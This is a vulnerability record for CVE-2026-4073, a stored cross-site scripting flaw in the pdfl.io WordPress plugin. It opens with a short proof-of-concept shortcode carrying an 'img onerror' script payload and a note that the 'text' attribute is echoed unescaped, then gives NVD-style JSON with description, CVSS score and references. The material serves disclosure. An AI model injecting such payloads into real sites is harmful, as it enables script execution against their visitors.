CVE-2026-4073

<!-- PoC for CVE-2026-4073: Stored XSS in pdfl.io plugin --> <!-- Inject this payload into a WordPress post/page content --> [pdflio text="<img src=x onerror=alert('XSS')>"] <!-- Explanation: --> <!-- The 'text' attribute is directly echoed into HTML without escaping. -->

{"cve": {"id": "CVE-2026-4073", "sourceIdentifier": "[email protected]", "published": "2026-04-08T10:16:01.777", "lastModified": "2026-04-24T18:05:09.240", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The pdfl.io plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'pdflio' shortcode in all versions up to, and including, 1.0.5. This is due to insufficient input sanitization and output escaping on the 'text' shortcode attribute. The output_shortcode() function directly concatenates the user-supplied $text variable into HTML output without applying esc_html() or any other escaping function. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/pdfl-io/tags/1.0.5/pdflio.php#L117", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/pdfl-io/tags/1.0.5/pdflio.php#L81", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/pdfl-io/trunk/pdflio.php#L117", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/pdfl-io/trunk/pdflio.php#L81", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3492458%40pdfl-io&new=3492458%40pdfl-io", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/2bf70203-61c0-406a-9110-b60761b4a513?source=cve", "source": "[email protected]"}]}}